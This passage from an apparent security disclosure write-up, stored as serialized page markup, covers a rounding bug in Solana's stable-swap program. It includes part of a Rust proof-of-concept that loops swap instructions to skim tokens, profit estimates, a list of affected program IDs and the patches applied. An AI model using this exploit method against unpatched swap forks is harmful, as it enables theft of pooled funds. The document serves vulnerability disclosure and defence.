e",{"type":23,"tag":481,"props":1120,"children":1121},{"style":525},[1122],{"type":28,"value":1033},{"type":23,"tag":481,"props":1124,"children":1126},{"class":483,"line":1125},12,[1127,1131,1136],{"type":23,"tag":481,"props":1128,"children":1129},{"style":514},[1130],{"type":28,"value":996},{"type":23,"tag":481,"props":1132,"children":1133},{"style":508},[1134],{"type":28,"value":1135},"renbtc_user_account",{"type":23,"tag":481,"props":1137,"children":1138},{"style":525},[1139],{"type":28,"value":1033},{"type":23,"tag":481,"props":1141,"children":1143},{"class":483,"line":1142},13,[1144,1148,1153],{"type":23,"tag":481,"props":1145,"children":1146},{"style":514},[1147],{"type":28,"value":996},{"type":23,"tag":481,"props":1149,"children":1150},{"style":508},[1151],{"type":28,"value":1152},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":481,"props":1154,"children":1155},{"style":525},[1156],{"type":28,"value":1033},{"type":23,"tag":481,"props":1158,"children":1160},{"class":483,"line":1159},14,[1161,1166],{"type":23,"tag":481,"props":1162,"children":1163},{"style":551},[1164],{"type":28,"value":1165}," 1",{"type":23,"tag":481,"props":1167,"children":1168},{"style":525},[1169],{"type":28,"value":1033},{"type":23,"tag":481,"props":1171,"children":1173},{"class":483,"line":1172},15,[1174],{"type":23,"tag":481,"props":1175,"children":1176},{"style":551},[1177],{"type":28,"value":1178}," 2\n",{"type":23,"tag":481,"props":1180,"children":1182},{"class":483,"line":1181},16,[1183,1188,1192,1197],{"type":23,"tag":481,"props":1184,"children":1185},{"style":525},[1186],{"type":28,"value":1187}," )",{"type":23,"tag":481,"props":1189,"children":1190},{"style":514},[1191],{"type":28,"value":199},{"type":23,"tag":481,"props":1193,"children":1194},{"style":610},[1195],{"type":28,"value":1196},"unwrap",{"type":23,"tag":481,"props":1198,"children":1199},{"style":525},[1200],{"type":28,"value":1201},"();\n",{"type":23,"tag":481,"props":1203,"children":1205},{"class":483,"line":1204},17,[1206],{"type":23,"tag":481,"props":1207,"children":1208},{"emptyLinePlaceholder":15},[1209],{"type":28,"value":1210},"\n",{"type":23,"tag":481,"props":1212,"children":1214},{"class":483,"line":1213},18,[1215],{"type":23,"tag":481,"props":1216,"children":1217},{"style":488},[1218],{"type":28,"value":1219}," // nonce\n",{"type":23,"tag":481,"props":1221,"children":1223},{"class":483,"line":1222},19,[1224,1229,1233,1238,1242,1247,1251,1255,1260,1265,1270,1275,1279,1284],{"type":23,"tag":481,"props":1225,"children":1226},{"style":508},[1227],{"type":28,"value":1228}," swap_instruction",{"type":23,"tag":481,"props":1230,"children":1231},{"style":514},[1232],{"type":28,"value":199},{"type":23,"tag":481,"props":1234,"children":1235},{"style":525},[1236],{"type":28,"value":1237},"data",{"type":23,"tag":481,"props":1239,"children":1240},{"style":514},[1241],{"type":28,"value":199},{"type":23,"tag":481,"props":1243,"children":1244},{"style":610},[1245],{"type":28,"value":1246},"append",{"type":23,"tag":481,"props":1248,"children":1249},{"style":525},[1250],{"type":28,"value":618},{"type":23,"tag":481,"props":1252,"children":1253},{"style":514},[1254],{"type":28,"value":623},{"type":23,"tag":481,"props":1256,"children":1257},{"style":497},[1258],{"type":28,"value":1259},"mut",{"type":23,"tag":481,"props":1261,"children":1262},{"style":610},[1263],{"type":28,"value":1264}," vec!",{"type":23,"tag":481,"props":1266,"children":1267},{"style":525},[1268],{"type":28,"value":1269},"[",{"type":23,"tag":481,"props":1271,"children":1272},{"style":508},[1273],{"type":28,"value":1274},"i",{"type":23,"tag":481,"props":1276,"children":1277},{"style":525},[1278],{"type":28,"value":588},{"type":23,"tag":481,"props":1280,"children":1281},{"style":508},[1282],{"type":28,"value":1283},"extranonce",{"type":23,"tag":481,"props":1285,"children":1286},{"style":525},[1287],{"type":28,"value":1288},"]);\n",{"type":23,"tag":481,"props":1290,"children":1292},{"class":483,"line":1291},20,[1293],{"type":23,"tag":481,"props":1294,"children":1295},{"emptyLinePlaceholder":15},[1296],{"type":28,"value":1210},{"type":23,"tag":481,"props":1298,"children":1300},{"class":483,"line":1299},21,[1301,1305,1309,1314,1318,1322],{"type":23,"tag":481,"props":1302,"children":1303},{"style":497},[1304],{"type":28,"value":500},{"type":23,"tag":481,"props":1306,"children":1307},{"style":497},[1308],{"type":28,"value":505},{"type":23,"tag":481,"props":1310,"children":1311},{"style":508},[1312],{"type":28,"value":1313}," instructions",{"type":23,"tag":481,"props":1315,"children":1316},{"style":514},[1317],{"type":28,"value":517},{"type":23,"tag":481,"props":1319,"children":1320},{"style":610},[1321],{"type":28,"value":1264},{"type":23,"tag":481,"props":1323,"children":1324},{"style":525},[1325],{"type":28,"value":1326},"[];\n",{"type":23,"tag":481,"props":1328,"children":1330},{"class":483,"line":1329},22,[1331],{"type":23,"tag":481,"props":1332,"children":1333},{"emptyLinePlaceholder":15},[1334],{"type":28,"value":1210},{"type":23,"tag":481,"props":1336,"children":1338},{"class":483,"line":1337},23,[1339,1344,1348,1353,1357,1362],{"type":23,"tag":481,"props":1340,"children":1341},{"style":508},[1342],{"type":28,"value":1343}," instructions",{"type":23,"tag":481,"props":1345,"children":1346},{"style":514},[1347],{"type":28,"value":199},{"type":23,"tag":481,"props":1349,"children":1350},{"style":610},[1351],{"type":28,"value":1352},"push",{"type":23,"tag":481,"props":1354,"children":1355},{"style":525},[1356],{"type":28,"value":618},{"type":23,"tag":481,"props":1358,"children":1359},{"style":508},[1360],{"type":28,"value":1361},"swap_instruction",{"type":23,"tag":481,"props":1363,"children":1364},{"style":525},[1365],{"type":28,"value":1366},");\n",{"type":23,"tag":481,"props":1368,"children":1370},{"class":483,"line":1369},24,[1371],{"type":23,"tag":481,"props":1372,"children":1373},{"emptyLinePlaceholder":15},[1374],{"type":28,"value":1210},{"type":23,"tag":481,"props":1376,"children":1378},{"class":483,"line":1377},25,[1379,1384,1388,1393,1397,1401,1406,1410,1414,1419,1423,1427,1431],{"type":23,"tag":481,"props":1380,"children":1381},{"style":508},[1382],{"type":28,"value":1383}," env",{"type":23,"tag":481,"props":1385,"children":1386},{"style":514},[1387],{"type":28,"value":199},{"type":23,"tag":481,"props":1389,"children":1390},{"style":610},[1391],{"type":28,"value":1392},"execute_as_transaction",{"type":23,"tag":481,"props":1394,"children":1395},{"style":525},[1396],{"type":28,"value":618},{"type":23,"tag":481,"props":1398,"children":1399},{"style":514},[1400],{"type":28,"value":623},{"type":23,"tag":481,"props":1402,"children":1403},{"style":508},[1404],{"type":28,"value":1405},"instructions",{"type":23,"tag":481,"props":1407,"children":1408},{"style":525},[1409],{"type":28,"value":588},{"type":23,"tag":481,"props":1411,"children":1412},{"style":514},[1413],{"type":28,"value":623},{"type":23,"tag":481,"props":1415,"children":1416},{"style":610},[1417],{"type":28,"value":1418},"vec!",{"type":23,"tag":481,"props":1420,"children":1421},{"style":525},[1422],{"type":28,"value":1269},{"type":23,"tag":481,"props":1424,"children":1425},{"style":514},[1426],{"type":28,"value":623},{"type":23,"tag":481,"props":1428,"children":1429},{"style":508},[1430],{"type":28,"value":1061},{"type":23,"tag":481,"props":1432,"children":1433},{"style":525},[1434],{"type":28,"value":1288},{"type":23,"tag":481,"props":1436,"children":1438},{"class":483,"line":1437},26,[1439],{"type":23,"tag":481,"props":1440,"children":1441},{"style":525},[1442],{"type":28,"value":1443},"}\n",{"type":23,"tag":24,"props":1445,"children":1446},{},[1447],{"type":28,"value":1448},"It works!",{"type":23,"tag":426,"props":1450,"children":1451},{},[1452],{"type":23,"tag":24,"props":1453,"children":1454},{},[1455],{"type":28,"value":1456},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":1458,"children":1459},{},[1460],{"type":23,"tag":149,"props":1461,"children":1463},{"alt":7,"src":1462},"/posts/spl-swap/poc.png",[],{"type":23,"tag":31,"props":1465,"children":1467},{"id":1466},"exploitability",[1468],{"type":28,"value":1469},"Exploitability",{"type":23,"tag":24,"props":1471,"children":1472},{},[1473],{"type":28,"value":1474},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":1476,"children":1477},{},[1478],{"type":28,"value":1479},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":1481,"children":1482},{},[1483],{"type":28,"value":1484},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":1486,"children":1487},{},[1488],{"type":23,"tag":149,"props":1489,"children":1491},{"alt":7,"src":1490},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":1493,"children":1494},{},[1495,1497,1502],{"type":28,"value":1496},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":127,"props":1498,"children":1499},{},[1500],{"type":28,"value":1501},"per instruction",{"type":28,"value":1503},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":1505,"children":1506},{},[1507],{"type":28,"value":1508},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":1510,"children":1511},{},[1512,1514,1519],{"type":28,"value":1513},"Some quick napkin math confirms that this ",{"type":23,"tag":127,"props":1515,"children":1516},{},[1517],{"type":28,"value":1518},"is",{"type":28,"value":1520}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":1522,"children":1523},{},[1524],{"type":23,"tag":64,"props":1525,"children":1529},{"className":1526},[1527,1528],"language-math","math-inline",[1530],{"type":23,"tag":481,"props":1531,"children":1534},{"className":1532},[1533],"katex",[1535],{"type":23,"tag":481,"props":1536,"children":1540},{"className":1537,"ariaHidden":1539},[1538],"katex-html","true",[1541,1650,1706,1746],{"type":23,"tag":481,"props":1542,"children":1545},{"className":1543},[1544],"base",[1546,1552,1559,1623,1633,1639,1646],{"type":23,"tag":481,"props":1547,"children":1551},{"className":1548,"style":1550},[1549],"strut","height:0.8141em;",[],{"type":23,"tag":481,"props":1553,"children":1556},{"className":1554},[1555],"mord",[1557],{"type":28,"value":1558},"1",{"type":23,"tag":481,"props":1560,"children":1562},{"className":1561},[1555],[1563,1569],{"type":23,"tag":481,"props":1564,"children":1566},{"className":1565},[1555],[1567],{"type":28,"value":1568},"0",{"type":23,"tag":481,"props":1570,"children":1573},{"className":1571},[1572],"msupsub",[1574],{"type":23,"tag":481,"props":1575,"children":1578},{"className":1576},[1577],"vlist-t",[1579],{"type":23,"tag":481,"props":1580,"children":1583},{"className":1581},[1582],"vlist-r",[1584],{"type":23,"tag":481,"props":1585,"children":1588},{"className":1586,"style":1550},[1587],"vlist",[1589],{"type":23,"tag":481,"props":1590,"children":1592},{"style":1591},"top:-3.063em;margin-right:0.05em;",[1593,1599],{"type":23,"tag":481,"props":1594,"children":1598},{"className":1595,"style":1597},[1596],"pstrut","height:2.7em;",[],{"type":23,"tag":481,"props":1600,"children":1606},{"className":1601},[1602,1603,1604,1605],"sizing","reset-size6","size3","mtight",[1607],{"type":23,"tag":481,"props":1608,"children":1610},{"className":1609},[1555,1605],[1611,1617],{"type":23,"tag":481,"props":1612,"children":1614},{"className":1613},[1555,1605],[1615],{"type":28,"value":1616},"−",{"type":23,"tag":481,"props":1618,"children":1620},{"className":1619},[1555,1605],[1621],{"type":28,"value":1622},"8",{"type":23,"tag":481,"props":1624,"children":1626},{"className":1625},[1555,28],[1627],{"type":23,"tag":481,"props":1628,"children":1630},{"className":1629},[1555],[1631],{"type":28,"value":1632}," BTC",{"type":23,"tag":481,"props":1634,"children":1638},{"className":1635,"style":1637},[1636],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":481,"props":1640,"children":1643},{"className":1641},[1642],"mbin",[1644],{"type":28,"value":1645},"∗",{"type":23,"tag":481,"props":1647,"children":1649},{"className":1648,"style":1637},[1636],[],{"type":23,"tag":481,"props":1651,"children":1653},{"className":1652},[1544],[1654,1659,1665,1672,1677,1683,1693,1697,1702],{"type":23,"tag":481,"props":1655,"children":1658},{"className":1656,"style":1657},[1549],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":481,"props":1660,"children":1662},{"className":1661},[1555],[1663],{"type":28,"value":1664},"$41",{"type":23,"tag":481,"props":1666,"children":1669},{"className":1667},[1668],"mpunct",[1670],{"type":28,"value":1671},",",{"type":23,"tag":481,"props":1673,"children":1676},{"className":1674,"style":1675},[1636],"margin-right:0.1667em;",[],{"type":23,"tag":481,"props":1678,"children":1680},{"className":1679},[1555],[1681],{"type":28,"value":1682},"400/",{"type":23,"tag":481,"props":1684,"children":1686},{"className":1685},[1555,28],[1687],{"type":23,"tag":481,"props":1688,"children":1690},{"className":1689},[1555],[1691],{"type":28,"value":1692},"BTC",{"type":23,"tag":481,"props":1694,"children":1696},{"className":1695,"style":1637},[1636],[],{"type":23,"tag":481,"props":1698,"children":1700},{"className":1699},[1642],[1701],{"type":28,"value":1645},{"type":23,"tag":481,"props":1703,"children":1705},{"className":1704,"style":1637},[1636],[],{"type":23,"tag":481,"props":1707,"children":1709},{"className":1708},[1544],[1710,1715,1721,1731,1736,1742],{"type":23,"tag":481,"props":1711,"children":1714},{"className":1712,"style":1713},[1549],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":1716,"children":1718},{"className":1717},[1555],[1719],{"type":28,"value":1720},"150",{"type":23,"tag":481,"props":1722,"children":1724},{"className":1723},[1555,28],[1725],{"type":23,"tag":481,"props":1726,"children":1728},{"className":1727},[1555],[1729],{"type":28,"value":1730}," swaps",{"type":23,"tag":481,"props":1732,"children":1735},{"className":1733,"style":1734},[1636],"margin-right:0.2778em;",[],{"type":23,"tag":481,"props":1737,"children":1740},{"className":1738},[1739],"mrel",[1741],{"type":28,"value":603},{"type":23,"tag":481,"props":1743,"children":1745},{"className":1744,"style":1734},[1636],[],{"type":23,"tag":481,"props":1747,"children":1749},{"className":1748},[1544],[1750,1755],{"type":23,"tag":481,"props":1751,"children":1754},{"className":1752,"style":1753},[1549],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":481,"props":1756,"children":1758},{"className":1757},[1555],[1759],{"type":28,"value":1760},"$0.0621",{"type":23,"tag":24,"props":1762,"children":1763},{},[1764],{"type":28,"value":1765},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":1767,"children":1768},{},[1769],{"type":28,"value":1770},"We're well on our way to becoming a millionaire!",{"type":23,"tag":31,"props":1772,"children":1774},{"id":1773},"patch",[1775],{"type":28,"value":1776},"Patch",{"type":23,"tag":24,"props":1778,"children":1779},{},[1780],{"type":28,"value":1781},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":1783,"children":1784},{},[1785],{"type":28,"value":1786},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":435,"props":1788,"children":1792},{"code":1789,"language":1790,"meta":7,"className":1791,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[1793],{"type":23,"tag":64,"props":1794,"children":1795},{"__ignoreMap":7},[1796],{"type":23,"tag":481,"props":1797,"children":1798},{"class":483,"line":484},[1799,1803,1809,1814,1819,1824,1829],{"type":23,"tag":481,"props":1800,"children":1801},{"style":610},[1802],{"type":28,"value":17},{"type":23,"tag":481,"props":1804,"children":1806},{"style":1805},"--shiki-default:#CE9178",[1807],{"type":28,"value":1808}," logs",{"type":23,"tag":481,"props":1810,"children":1811},{"style":1805},[1812],{"type":28,"value":1813}," -um",{"type":23,"tag":481,"props":1815,"children":1816},{"style":514},[1817],{"type":28,"value":1818}," |",{"type":23,"tag":481,"props":1820,"children":1821},{"style":610},[1822],{"type":28,"value":1823}," grep",{"type":23,"tag":481,"props":1825,"children":1826},{"style":1805},[1827],{"type":28,"value":1828}," 'Instruction: Swap'",{"type":23,"tag":481,"props":1830,"children":1831},{"style":1805},[1832],{"type":28,"value":1833}," -B1\n",{"type":23,"tag":24,"props":1835,"children":1836},{},[1837],{"type":28,"value":1838},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":435,"props":1840,"children":1842},{"code":1841},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[1843],{"type":23,"tag":64,"props":1844,"children":1845},{"__ignoreMap":7},[1846],{"type":28,"value":1841},{"type":23,"tag":24,"props":1848,"children":1849},{},[1850],{"type":28,"value":1851},"Now it was time to contact these teams.",{"type":23,"tag":24,"props":1853,"children":1854},{},[1855],{"type":28,"value":1856},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":1858,"children":1859},{},[1860],{"type":28,"value":1861},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":435,"props":1863,"children":1865},{"code":1864,"language":474,"meta":7,"className":475,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[1866],{"type":23,"tag":64,"props":1867,"children":1868},{"__ignoreMap":7},[1869,1923,1936],{"type":23,"tag":481,"props":1870,"children":1871},{"class":483,"line":484},[1872,1877,1881,1886,1890,1895,1899,1903,1907,1911,1915,1919],{"type":23,"tag":481,"props":1873,"children":1874},{"style":514},[1875],{"type":28,"value":1876},"-",{"type":23,"tag":481,"props":1878,"children":1879},{"style":497},[1880],{"type":28,"value":573},{"type":23,"tag":481,"props":1882,"children":1883},{"style":508},[1884],{"type":28,"value":1885}," dy",{"type":23,"tag":481,"props":1887,"children":1888},{"style":514},[1889],{"type":28,"value":517},{"type":23,"tag":481,"props":1891,"children":1892},{"style":508},[1893],{"type":28,"value":1894}," swap_destination_amount",{"type":23,"tag":481,"props":1896,"children":1897},{"style":514},[1898],{"type":28,"value":199},{"type":23,"tag":481,"props":1900,"children":1901},{"style":610},[1902],{"type":28,"value":752},{"type":23,"tag":481,"props":1904,"children":1905},{"style":525},[1906],{"type":28,"value":618},{"type":23,"tag":481,"props":1908,"children":1909},{"style":508},[1910],{"type":28,"value":628},{"type":23,"tag":481,"props":1912,"children":1913},{"style":525},[1914],{"type":28,"value":642},{"type":23,"tag":481,"props":1916,"children":1917},{"style":514},[1918],{"type":28,"value":670},{"type":23,"tag":481,"props":1920,"children":1921},{"style":525},[1922],{"type":28,"value":528},{"type":23,"tag":481,"props":1924,"children":1925},{"class":483,"line":351},[1926,1931],{"type":23,"tag":481,"props":1927,"children":1928},{"style":514},[1929],{"type":28,"value":1930},"+",{"type":23,"tag":481,"props":1932,"children":1933},{"style":488},[1934],{"type":28,"value":1935}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":481,"props":1937,"children":1938},{"class":483,"line":531},[1939,1943,1947,1951,1955,1959,1963,1967,1971,1975,1979,1983,1987,1991,1995,1999,2003],{"type":23,"tag":481,"props":1940,"children":1941},{"style":514},[1942],{"type":28,"value":1930},{"type":23,"tag":481,"props":1944,"children":1945},{"style":497},[1946],{"type":28,"value":573},{"type":23,"tag":481,"props":1948,"children":1949},{"style":508},[1950],{"type":28,"value":1885},{"type":23,"tag":481,"props":1952,"children":1953},{"style":514},[1954],{"type":28,"value":517},{"type":23,"tag":481,"props":1956,"children":1957},{"style":508},[1958],{"type":28,"value":1894},{"type":23,"tag":481,"props":1960,"children":1961},{"style":514},[1962],{"type":28,"value":199},{"type":23,"tag":481,"props":1964,"children":1965},{"style":610},[1966],{"type":28,"value":752},{"type":23,"tag":481,"props":1968,"children":1969},{"style":525},[1970],{"type":28,"value":618},{"type":23,"tag":481,"props":1972,"children":1973},{"style":508},[1974],{"type":28,"value":628},{"type":23,"tag":481,"props":1976,"children":1977},{"style":525},[1978],{"type":28,"value":642},{"type":23,"tag":481,"props":1980,"children":1981},{"style":514},[1982],{"type":28,"value":647},{"type":23,"tag":481,"props":1984,"children":1985},{"style":610},[1986],{"type":28,"value":752},{"type":23,"tag":481,"props":1988,"children":1989},{"style":525},[1990],{"type":28,"value":618},{"type":23,"tag":481,"props":1992,"children":1993},{"style":551},[1994],{"type":28,"value":1558},{"type":23,"tag":481,"props":1996,"children":1997},{"style":525},[1998],{"type":28,"value":642},{"type":23,"tag":481,"props":2000,"children":2001},{"style":514},[2002],{"type":28,"value":670},{"type":23,"tag":481,"props":2004,"children":2005},{"style":525},[2006],{"type":28,"value":528},{"type":23,"tag":24,"props":2008,"children":2009},{},[2010,2012,2019],{"type":28,"value":2011},"For reference, here is the ",{"type":23,"tag":190,"props":2013,"children":2016},{"href":2014,"rel":2015},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[194],[2017],{"type":28,"value":2018},"Curve.fi implementation",{"type":28,"value":199},{"type":23,"tag":435,"props":2021,"children":2025},{"code":2022,"language":2023,"meta":7,"className":2024,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[2026],{"type":23,"tag":64,"props":2027,"children":2028},{"__ignoreMap":7},[2029,2091],{"type":23,"tag":481,"props":2030,"children":2031},{"class":483,"line":484},[2032,2037,2041,2046,2050,2055,2059,2064,2068,2073,2078,2082,2086],{"type":23,"tag":481,"props":2033,"children":2034},{"style":525},[2035],{"type":28,"value":2036}," dy",{"type":23,"tag":481,"props":2038,"children":2039},{"style":514},[2040],{"type":28,"value":287},{"type":23,"tag":481,"props":2042,"children":2043},{"style":943},[2044],{"type":28,"value":2045}," uint256",{"type":23,"tag":481,"props":2047,"children":2048},{"style":514},[2049],{"type":28,"value":517},{"type":23,"tag":481,"props":2051,"children":2052},{"style":525},[2053],{"type":28,"value":2054}," xp[j] ",{"type":23,"tag":481,"props":2056,"children":2057},{"style":514},[2058],{"type":28,"value":1876},{"type":23,"tag":481,"props":2060,"children":2061},{"style":525},[2062],{"type":28,"value":2063}," y ",{"type":23,"tag":481,"props":2065,"children":2066},{"style":514},[2067],{"type":28,"value":1876},{"type":23,"tag":481,"props":2069,"children":2070},{"style":551},[2071],{"type":28,"value":2072}," 1",{"type":23,"tag":481,"props":2074,"children":2075},{"style":525},[2076],{"type":28,"value":2077}," # ",{"type":23,"tag":481,"props":2079,"children":2080},{"style":514},[2081],{"type":28,"value":1876},{"type":23,"tag":481,"props":2083,"children":2084},{"style":551},[2085],{"type":28,"value":1558},{"type":23,"tag":481,"props":2087,"children":2088},{"style":525},[2089],{"type":28,"value":2090}," just in case there were some rounding errors\n",{"type":23,"tag":481,"props":2092,"children":2093},{"class":483,"line":351},[2094,2099,2103,2107,2111,2116,2121,2126,2131],{"type":23,"tag":481,"props":2095,"children":2096},{"style":525},[2097],{"type":28,"value":2098}," dy_fee",{"type":23,"tag":481,"props":2100,"children":2101},{"style":514},[2102],{"type":28,"value":287},{"type":23,"tag":481,"props":2104,"children":2105},{"style":943},[2106],{"type":28,"value":2045},{"type":23,"tag":481,"props":2108,"children":2109},{"style":514},[2110],{"type":28,"value":517},{"type":23,"tag":481,"props":2112,"children":2113},{"style":525},[2114],{"type":28,"value":2115}," dy ",{"type":23,"tag":481,"props":2117,"children":2118},{"style":514},[2119],{"type":28,"value":2120},"*",{"type":23,"tag":481,"props":2122,"children":2123},{"style":525},[2124],{"type":28,"value":2125}," self.fee ",{"type":23,"tag":481,"props":2127,"children":2128},{"style":514},[2129],{"type":28,"value":2130},"/",{"type":23,"tag":481,"props":2132,"children":2133},{"style":525},[2134],{"type":28,"value":2135}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":2137,"children":2138},{},[2139,2141,2148],{"type":28,"value":2140},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":190,"props":2142,"children":2145},{"href":2143,"rel":2144},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[194],[2146],{"type":28,"value":2147},"original commit",{"type":28,"value":2149},", not as an additional security patch.",{"type":23,"tag":435,"props":2151,"children":2153},{"code":2152},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[2154],{"type":23,"tag":64,"props":2155,"children":2156},{"__ignoreMap":7},[2157],{"type":28,"value":2152},{"type":23,"tag":24,"props":2159,"children":2160},{},[2161,2163,2170],{"type":28,"value":2162},"The commit adding stable swaps to SPL was ",{"type":23,"tag":190,"props":2164,"children":2167},{"href":2165,"rel":2166},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[194],[2168],{"type":28,"value":2169},"made a few months later",{"type":28,"value":2171},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":435,"props":2173,"children":2175},{"code":2174},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[2176],{"type":23,"tag":64,"props":2177,"children":2178},{"__ignoreMap":7},[2179],{"type":28,"value":2174},{"type":23,"tag":24,"props":2181,"children":2182},{},[2183,2185,2192],{"type":28,"value":2184},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":190,"props":2186,"children":2189},{"href":2187,"rel":2188},"https://github.com/solana-labs/solana-program-library",[194],[2190],{"type":28,"value":2191},"the Solana Program Library",{"type":28,"value":199},{"type":23,"tag":24,"props":2194,"children":2195},{},[2196],{"type":28,"value":2197},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":2199,"children":2200},{},[2201,2208],{"type":23,"tag":190,"props":2202,"children":2205},{"href":2203,"rel":2204},"https://github.com/joncinque",[194],[2206],{"type":28,"value":2207},"@joncinque",{"type":28,"value":2209}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":426,"props":2211,"children":2212},{},[2213],{"type":23,"tag":24,"props":2214,"children":2215},{},[2216],{"type":28,"value":2217},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":2219,"children":2220},{},[2221,2223,2230,2232,2238],{"type":28,"value":2222},"After some thought, he helped ",{"type":23,"tag":190,"props":2224,"children":2227},{"href":2225,"rel":2226},"https://github.com/solana-labs/solana-program-library/pull/2942",[194],[2228],{"type":28,"value":2229},"introduce a PR",{"type":28,"value":2231}," which ceilings the computation in ",{"type":23,"tag":64,"props":2233,"children":2235},{"className":2234},[],[2236],{"type":28,"value":2237},"compute_new_destination_amount",{"type":28,"value":2239}," to correctly round within the stable curve math library.",{"type":23,"tag":435,"props":2241,"children":2243},{"code":2242,"language":474,"meta":7,"className":475,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[2244],{"type":23,"tag":64,"props":2245,"children":2246},{"__ignoreMap":7},[2247,2255,2285,2312,2340,2364,2440,2544,2571,2666,2769,2796,2808,2827,2850],{"type":23,"tag":481,"props":2248,"children":2249},{"class":483,"line":484},[2250],{"type":23,"tag":481,"props":2251,"children":2252},{"style":488},[2253],{"type":28,"value":2254}," // Solve for y by approximating: y**2 + b*y = 